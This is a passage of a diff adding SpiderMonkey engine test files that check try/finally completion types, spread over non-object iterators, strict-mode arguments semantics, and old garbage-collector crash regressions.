+ } finally {
+ // F.[[type]] is break
+ L: try {
+ return 43;
+ } finally {
+ break L;
+ }
+ }
+}
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is continue
+ do try {
+ return 43;
+ } finally {
+ continue;
+ } while (0);
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is normal
+ try {
+ // F.[[type]] is throw
+ try {
+ return 43;
+ } finally {
+ throw 9;
+ }
+ } catch (e) {
+ }
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is return
+ try {
+ return 41;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+ }
+};
+assertEq(f(), 42);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/shell.js b/js/src/tests/non262/Function/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Function/shell.js
diff --git a/js/src/tests/non262/Function/spread-iterator-primitive.js b/js/src/tests/non262/Function/spread-iterator-primitive.js
new file mode 100644
index 0000000000..79320ad7f1
--- /dev/null
+++ b/js/src/tests/non262/Function/spread-iterator-primitive.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+function f() {
+}
+
+for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => f(...arg), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/strict-arguments.js b/js/src/tests/non262/Function/strict-arguments.js
new file mode 100644
index 0000000000..fce5f756c2
--- /dev/null
+++ b/js/src/tests/non262/Function/strict-arguments.js
@@ -0,0 +1,453 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'strict-arguments.js';
+var BUGNUMBER = 516255;
+var summary =
+ "ES5 strict mode: arguments objects of strict mode functions must copy " +
+ "argument values";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function arrayEvery(arr, fun)
+{
+ return Array.prototype.every.call(arr, fun);
+}
+
+function arraysEqual(a1, a2)
+{
+ return a1.length === a2.length &&
+ arrayEvery(a1, function(v, i) { return v === a2[i]; });
+}
+
+
+/************************
+ * NON-STRICT ARGUMENTS *
+ ************************/
+
+var obj = {};
+
+function noargs() { return arguments; }
+
+assertEq(arraysEqual(noargs(), []), true);
+assertEq(arraysEqual(noargs(1), [1]), true);
+assertEq(arraysEqual(noargs(2, obj, 8), [2, obj, 8]), true);
+
+function args(a) { return arguments; }
+
+assertEq(arraysEqual(args(), []), true);
+assertEq(arraysEqual(args(1), [1]), true);
+assertEq(arraysEqual(args(1, obj), [1, obj]), true);
+assertEq(arraysEqual(args("foopy"), ["foopy"]), true);
+
+function assign(a)
+{
+ a = 17;
+ return arguments;
+}
+
+assertEq(arraysEqual(assign(1), [17]), true);
+
+function getLaterAssign(a)
+{
+ var o = arguments;
+ a = 17;
+ return o;
+}
+
+assertEq(arraysEqual(getLaterAssign(1), [17]), true);
+
+function assignElementGetParameter(a)
+{
+ arguments[0] = 17;
+ return a;
+}
+
+assertEq(assignElementGetParameter(42), 17);
+
+function assignParameterGetElement(a)
+{
+ a = 17;
+ return arguments[0];
+}
+
+assertEq(assignParameterGetElement(42), 17);
+
+function assignArgSub(x, y)
+{
+ arguments[0] = 3;
+ return arguments[0];
+}
+
+assertEq(assignArgSub(1), 3);
+
+function assignArgSubParamUse(x, y)
+{
+ arguments[0] = 3;
+ assertEq(x, 3);
+ return arguments[0];
+}
+
+assertEq(assignArgSubParamUse(1), 3);
+
+function assignArgumentsElement(x, y)
+{
+ arguments[0] = 3;
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(assignArgumentsElement(1), 3);
+
+function assignArgumentsElementParamUse(x, y)
+{
+ arguments[0] = 3;
+ assertEq(x, 3);
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(assignArgumentsElementParamUse(1), 3);
+
+/********************
+ * STRICT ARGUMENTS *
+ ********************/
+
+function strictNoargs()
+{
+ "use strict";
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNoargs(), []), true);
+assertEq(arraysEqual(strictNoargs(1), [1]), true);
+assertEq(arraysEqual(strictNoargs(1, obj), [1, obj]), true);
+
+function strictArgs(a)
+{
+ "use strict";
+ return arguments;
+}
+
+assertEq(arraysEqual(strictArgs(), []), true);
+assertEq(arraysEqual(strictArgs(1), [1]), true);
+assertEq(arraysEqual(strictArgs(1, obj), [1, obj]), true);
+
+function strictAssign(a)
+{
+ "use strict";
+ a = 17;
+ return arguments;
+}
+
+assertEq(arraysEqual(strictAssign(), []), true);
+assertEq(arraysEqual(strictAssign(1), [1]), true);
+assertEq(arraysEqual(strictAssign(1, obj), [1, obj]), true);
+
+var upper;
+function strictAssignAfter(a)
+{
+ "use strict";
+ upper = arguments;
+ a = 42;
+ return upper;
+}
+
+assertEq(arraysEqual(strictAssignAfter(), []), true);
+assertEq(arraysEqual(strictAssignAfter(17), [17]), true);
+assertEq(arraysEqual(strictAssignAfter(obj), [obj]), true);
+
+function strictMaybeAssignOuterParam(p)
+{
+ "use strict";
+ function inner() { p = 17; }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictMaybeAssignOuterParam(), []), true);
+assertEq(arraysEqual(strictMaybeAssignOuterParam(42), [42]), true);
+assertEq(arraysEqual(strictMaybeAssignOuterParam(obj), [obj]), true);
+
+function strictAssignOuterParam(p)
+{
+ "use strict";
+ function inner() { p = 17; }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictAssignOuterParam(), []), true);
+assertEq(arraysEqual(strictAssignOuterParam(17), [17]), true);
+assertEq(arraysEqual(strictAssignOuterParam(obj), [obj]), true);
+
+function strictAssignOuterParamPSYCH(p)
+{
+ "use strict";
+ function inner(p) { p = 17; }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictAssignOuterParamPSYCH(), []), true);
+assertEq(arraysEqual(strictAssignOuterParamPSYCH(17), [17]), true);
+assertEq(arraysEqual(strictAssignOuterParamPSYCH(obj), [obj]), true);
+
+function strictEval(code, p)
+{
+ "use strict";
+ eval(code);
+ return arguments;
+}
+
+assertEq(arraysEqual(strictEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictEval("arguments[0] = 17"), [17]), true);
+assertEq(arraysEqual(strictEval("arguments[0] = 17", 42), [17, 42]), true);
+
+function strictMaybeNestedEval(code, p)
+{
+ "use strict";
+ function inner() { eval(code); }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictMaybeNestedEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictMaybeNestedEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictMaybeNestedEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictMaybeNestedEval("p = 2", 17), ["p = 2", 17]), true);
+
+function strictNestedEval(code, p)
+{
+ "use strict";
+ function inner() { eval(code); }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictNestedEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictNestedEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictNestedEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictNestedEval("arguments[0] = 17"), ["arguments[0] = 17"]), true);
+assertEq(arraysEqual(strictNestedEval("arguments[0] = 17", 42), ["arguments[0] = 17", 42]), true);
+
+function strictAssignArguments(a)
+{
+ "use strict";
+ arguments[0] = 42;
+ return a;
+}
+
+assertEq(strictAssignArguments(), undefined);
+assertEq(strictAssignArguments(obj), obj);
+assertEq(strictAssignArguments(17), 17);
+
+function strictAssignParameterGetElement(a)
+{
+ "use strict";
+ a = 17;
+ return arguments[0];
+}
+
+assertEq(strictAssignParameterGetElement(42), 42);
+
+function strictAssignArgSub(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ return arguments[0];
+}
+
+assertEq(strictAssignArgSub(1), 3);
+
+function strictAssignArgSubParamUse(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ assertEq(x, 1);
+ return arguments[0];
+}
+
+assertEq(strictAssignArgSubParamUse(1), 3);
+
+function strictAssignArgumentsElement(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(strictAssignArgumentsElement(1), 3);
+
+function strictAssignArgumentsElementParamUse(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ assertEq(x, 1);
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(strictAssignArgumentsElementParamUse(1), 3);
+
+function strictNestedAssignShadowVar(p)
+{
+ "use strict";
+ function inner()
+ {
+ var p = 12;
+ function innermost() { p = 1776; return 12; }
+ return innermost();
+ }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowVar(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowVar(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowVar(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowVar(obj), [obj]), true);
+
+function strictNestedAssignShadowCatch(p)
+{
+ "use strict";
+ function inner()
+ {
+ try
+ {
+ }
+ catch (p)
+ {
+ var f = function innermost() { p = 1776; return 12; };
+ f();
+ }
+ }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowCatch(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatch(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatch(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatch(obj), [obj]), true);
+
+function strictNestedAssignShadowCatchCall(p)
+{
+ "use strict";
+ function inner()
+ {
+ try
+ {
+ }
+ catch (p)
+ {
+ var f = function innermost() { p = 1776; return 12; };
+ f();
+ }
+ }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(obj), [obj]), true);
+
+function strictNestedAssignShadowFunction(p)
+{
+ "use strict";
+ function inner()
+ {
+ function p() { }
+ p = 1776;
+ }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowFunction(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunction(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunction(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunction(obj), [obj]), true);
+
+function strictNestedAssignShadowFunctionCall(p)
+{
+ "use strict";
+ function inner()
+ {
+ function p() { }
+ p = 1776;
+ }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(obj), [obj]), true);
+
+function strictNestedShadowAndMaybeEval(code, p)
+{
+ "use strict";
+ function inner(p) { eval(code); }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("arguments[0] = 17"), ["arguments[0] = 17"]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("arguments[0] = 17", 42), ["arguments[0] = 17", 42]), true);
+
+function strictNestedShadowAndEval(code, p)
+{
+ "use strict";
+ function inner(p) { eval(code); }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedShadowAndEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("arguments[0] = 17"), ["arguments[0] = 17"]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("arguments[0] = 17", 42), ["arguments[0] = 17", 42]), true);
+
+function strictEvalContainsMutation(code)
+{
+ "use strict";
+ return eval(code);
+}
+
+assertEq(arraysEqual(strictEvalContainsMutation("code = 17; arguments"), ["code = 17; arguments"]), true);
+assertEq(arraysEqual(strictEvalContainsMutation("arguments[0] = 17; arguments"), [17]), true);
+assertEq(strictEvalContainsMutation("arguments[0] = 17; code"), "arguments[0] = 17; code");
+
+function strictNestedAssignShadowFunctionName(p)
+{
+ "use strict";
+ function inner()
+ {
+ function p() { p = 1776; }
+ p();
+ }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(obj), [obj]), true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/throw-type-error.js b/js/src/tests/non262/Function/throw-type-error.js
new file mode 100644
index 0000000000..68dd6e1d07
--- /dev/null
+++ b/js/src/tests/non262/Function/throw-type-error.js
@@ -0,0 +1,16 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/publicdomain/zero/1.0/
+
+const ThrowTypeError = function(){
+ "use strict";
+ return Object.getOwnPropertyDescriptor(arguments, "callee").get;
+}();
+
+assertDeepEq(Object.getOwnPropertyDescriptor(ThrowTypeError, "length"), {
+ value: 0, writable: false, enumerable: false, configurable: false
+});
+
+assertEq(Object.isFrozen(ThrowTypeError), true);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/GC/browser.js b/js/src/tests/non262/GC/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/GC/browser.js
diff --git a/js/src/tests/non262/GC/regress-104584.js b/js/src/tests/non262/GC/regress-104584.js
new file mode 100644
index 0000000000..4148b69153
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-104584.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 October 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 104584
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104584
+ *
+ * Testing that we don't crash on this code. The idea is to
+ * call F,G WITHOUT providing an argument. This caused a crash
+ * on the second call to obj.toString() or print(obj) below -
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 104584;
+var summary = "Testing that we don't crash on this code -";
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+F();
+G();
+
+reportCompare('No Crash', 'No Crash', '');
+
+function F(obj)
+{
+ if(!obj)
+ obj = {};
+ obj.toString();
+ gc();
+ obj.toString();
+}
+
+
+function G(obj)
+{
+ if(!obj)
+ obj = {};
+ print(obj);
+ gc();
+ print(obj);
+}
diff --git a/js/src/tests/non262/GC/regress-203278-2.js b/js/src/tests/non262/GC/regress-203278-2.js
new file mode 100644
index 0000000000..5d3b4c99e0
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-203278-2.js
@@ -0,0 +1,80 @@
+// |reftest| slow
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 203278;
+var summary = 'Don\'t crash in recursive js_MarkGCThing';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Prepare array to test DeutschSchorrWaite implementation
+// and its reverse pointer scanning performance
+
+var a = new Array(1000 * 1000);
+
+var i = a.length;
+while (i-- != 0) {
+ switch (i % 11) {
+ case 0:
+ a[i] = { };
+ break;
+ case 1:
+ a[i] = { a: true, b: false, c: 0 };
+ break;
+ case 2:
+ a[i] = { 0: true, 1: {}, 2: false };
+ break;
+ case 3:
+ a[i] = { a: 1.2, b: "", c: [] };
+ break;
+ case 4:
+ a[i] = [ false ];
+ break;
+ case 6:
+ a[i] = [];
+ break;
+ case 7:
+ a[i] = false;
+ break;
+ case 8:
+ a[i] = "x";
+ break;
+ case 9:
+ a[i] = new String("x");
+ break;
+ case 10:
+ a[i] = 1.1;
+ break;
+ case 10:
+ a[i] = new Boolean();
+ break;
+ }
+}
+
+printStatus("DSF is prepared");
+
+// Prepare linked list that causes recursion during GC with
+// depth O(list size)
+// Note: pass "-S 500000" option to the shell to limit stack quota
+// available for recursion
+
+for (i = 0; i != 50*1000; ++i) {
+ a = [a, a, {}];
+ a = [a, {}, a];
+
+}
+
+printStatus("Linked list is prepared");
+
+gc();
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/GC/regress-203278-3.js b/js/src/tests/non262/GC/regress-203278-3.js
new file mode 100644
index 0000000000..3ac6d4c91e
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-203278-3.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 203278;
+var summary = 'Don\'t crash in recursive js_MarkGCThing';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Prepare array a to cause O(a.length^2) behaviour in the current
+// DeutschSchorrWaite implementation
+
+var a = new Array(1000 * 100);
+
+var i = a.length;
+while (i-- != 0)
+{
+ a[i] = {};
+}
+
+// Prepare linked list that causes recursion during GC with
+// depth O(list size)
+
+for (i = 0; i != 50*1000; ++i)
+{
+ a = [a, a.concat()];
+}
+
+if (typeof gc == 'function')
+{
+ gc();
+}
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/GC/regress-278725.js b/js/src/tests/non262/GC/regress-278725.js
new file mode 100644
index 0000000000..47df5950f0
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-278725.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase by James Ross <silver@warwickcompsoc.co.uk>
+var BUGNUMBER = 278725;
+var summary = 'Don\'t Crash during GC';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var results = [];
+for (var k = 0; k < 600000; k++) {
+ if (! (k %100000)) {
+ printStatus('hi');
+ if (0) {
+ results.length = 0;
+ gc();
+ }
+ }
+ results.push({});
+}
+
+actual = 'No Crash';
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-306788.js b/js/src/tests/non262/GC/regress-306788.js
new file mode 100644
index 0000000000..d6e1306795
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-306788.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306788;
+var summary = 'Do not crash sorting Arrays due to GC';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var array = new Array();
+
+for (var i = 0; i < 5000; i++)
+{
+ array[i] = new Array('1', '2', '3', '4', '5');
+}
+
+array.sort();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-311497.js b/js/src/tests/non262/GC/regress-311497.js
new file mode 100644
index 0000000000..21905a7fd8
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-311497.js
@@ -0,0 +1,61 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311497;
+var summary = 'Root pivots in js_HeapSort';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function force_gc()
+{
+ if (this.gc) gc();
+ for (var i = 0; i != 30000; ++i) {
+ var tmp = Math.sin(i);
+ tmp = null;
+ }
+}
+
+var array = new Array(10);
+for (var i = 0; i != array.length; ++i) {
+ array[i] = String.fromCharCode(i, i, i);
+}
+
+function cmp(a, b)
+{
+ for (var i = 0; i != array.length; ++i) {
+ array[i] = null;
+ }
+ force_gc();
+ return 0;
+}
+
+array.sort(cmp);
+
+// Verify that array contains either null or original strings
+
+var null_count = 0;
+var original_string_count = 0;
+for (var i = 0; i != array.length; ++i) {
+ var elem = array[i];
+ if (elem === null) {
+ ++null_count;
+ } else if (typeof elem == "string" && elem.length == 3) {
+ var code = elem.charCodeAt(0);
+ if (0 <= code && code < array.length) {
+ if (code === elem.charCodeAt(1) && code == elem.charCodeAt(2))
+ ++original_string_count;
+ }
+ }
+}
+
+var expect = array.length;
+var actual = null_count + original_string_count;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-313276.js b/js/src/tests/non262/GC/regress-313276.js
new file mode 100644
index 0000000000..7f622fa3fe
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-313276.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313276;
+var summary = 'Root strings';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = {
+ toString: function() {
+ return "*TEST*".substr(1, 4);
+ }
+};
+
+var TMP = 1e200;
+
+var likeZero = {
+ valueOf: function() {
+ if (typeof gc == "function") gc();
+ for (var i = 0; i != 40000; ++i) {
+ var tmp = 2 / TMP;
+ tmp = null;
+ }
+ return 0;
+ }
+}
+
+ expect = "TEST";
+actual = String.prototype.substr.call(obj, likeZero);
+
+printStatus("Substring length: "+actual.length);
+printStatus((expect === actual).toString());
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-313479.js b/js/src/tests/non262/GC/regress-313479.js
new file mode 100644
index 0000000000..a13dba3ff6
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-313479.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313479;
+var summary = 'Root access in jsnum.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var prepared_string = String(1);
+String(2); // To remove prepared_string from newborn
+
+var likeString = {
+ toString: function() {
+ var tmp = prepared_string;
+ prepared_string = null;
+ return tmp;
+ }
+};
+
+var likeNumber = {
+ valueOf: function() {
+ gc();
+ return 10;
+ }
+}
+
+ var expect = 1;
+var actual = parseInt(likeString, likeNumber);
+printStatus("expect="+expect+" actual="+actual);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-316885-01.js b/js/src/tests/non262/GC/regress-316885-01.js
new file mode 100644
index 0000000000..da814bbae4
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-316885-01.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 316885;
+var summary = 'Unrooted access in jsinterp.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str_with_num = "0.1";
+
+var obj = {
+ get elem() {
+ return str_with_num;
+ },
+ set elem(value) {
+ gc();
+ }
+
+};
+
+expect = Number(str_with_num);
+actual = obj.elem++;
+
+gc();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-316885-02.js b/js/src/tests/non262/GC/regress-316885-02.js
new file mode 100644
index 0000000000..2cdda60065
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-316885-02.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 316885;
+var summary = 'Unrooted access in jsinterp.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str = "test";
+
+var lval = {
+ valueOf: function() {
+ return str+"1";
+ }
+};
+
+var ONE = 1;
+
+var rval = {
+ valueOf: function() {
+ // Make sure that the result of the previous lval.valueOf
+ // is not GC-rooted.
+ var tmp = "x"+lval;
+ if (typeof gc == "function")
+ gc();
+ for (var i = 0; i != 40000; ++i) {
+ tmp = 1e100 / ONE;
+ }
+ return str;
+ }
+};
+
+expect = (str+"1" > str);
+actual = (lval > rval);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-316885-03.js b/js/src/tests/non262/GC/regress-316885-03.js
new file mode 100644
index 0000000000..93f632e783
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-316885-03.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 316885;
+var summary = 'Unrooted access in jsinterp.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str = "test";
+
+var lval = {
+ valueOf: function() {
+ return str+"1";
+ }
+};
+
+var ONE = 1;
+
+var rval = {
+ valueOf: function() {
+ // Make sure that the result of the previous lval.valueOf
+ // is not GC-rooted.
+ var tmp = "x"+lval;
+ if (typeof gc == "function")
+ gc();
+ for (var i = 0; i != 40000; ++i) {
+ tmp = 1e100 / ONE;
+ }
+ return str;
+ }
+};
+
+expect = (str+"1")+str;
+actual = lval+rval;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-319980-01.js b/js/src/tests/non262/GC/regress-319980-01.js
new file mode 100644
index 0000000000..7c49b54bb8
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-319980-01.js
@@ -0,0 +1,117 @@
+// |reftest| skip slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
